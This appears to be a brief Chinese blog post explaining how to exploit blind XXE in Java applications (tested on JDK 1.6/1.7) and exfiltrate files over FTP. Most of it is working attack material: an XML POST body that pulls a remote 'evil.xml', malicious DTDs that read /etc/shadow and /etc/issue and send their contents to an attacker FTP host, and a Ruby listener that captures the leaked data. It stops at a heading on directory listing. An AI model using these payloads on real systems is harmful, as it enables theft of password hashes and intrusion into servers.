java环境下利用blind xxe来列目录和文件读取-ftp-ghoper协议

采用的是利用ftp协议来进行数据传输,jdk1.6和jdk1.7均测试成功 
      
  1. http : //web-in-security.blogspot.hk/2016/03/xxe-cheat-sheet.html
  2. https : //github.com/RUB-NDS/DTD-Attacks
Post 包 
      
  1. <? xml version = "1.0" encoding = "UTF-8" ?>  
  2. <! DOCTYPE root [  
  3. <! ENTITY % remote SYSTEM "http://ip/evil.xml" >  
  4. % remote ;]>  
  5. < root />  
 
放服务器上的Evil.xml 
      
  1. <! ENTITY % file SYSTEM "file:///etc/shadow" >  
  2. <! ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://ip:33/%file;'>" >  
  3. % int ;  
  4. % send ;  
      
  1. <! ENTITY % payload SYSTEM "file:///etc/issue" >
  2. <! ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://xxx.com/%payload;'>" >
  3. % int ;
  4. % trick ;
服务器监听,接收来自33端口的ftp信息 
      
  1. Ruby ftp . rb 
      
  1. require 'socket'  
  2. server = TCPServer . new 33  
  3. loop do  
  4.    Thread . start ( server . accept ) do | client |  
  5.     puts "New client connected"  
  6.     data = ""  
  7.     client . puts ( "220 xxe-ftp-server" )  
  8.     loop {  
  9.         req = client . gets ()  
  10.         puts "< " + req 
  11.          if req . include ? "USER"  
  12.             client . puts ( "331 password please - version check" )  
  13.          else  
  14.            #puts "> 230 more data please!" 
  15.             client . puts ( "230 more data please!" )  
  16.         end 
  17.      }  
  18.   end 
  19. end 
运气好直接可读shadow文件 
 
对于有< % > 的文件还是读不了。忧伤 

列目录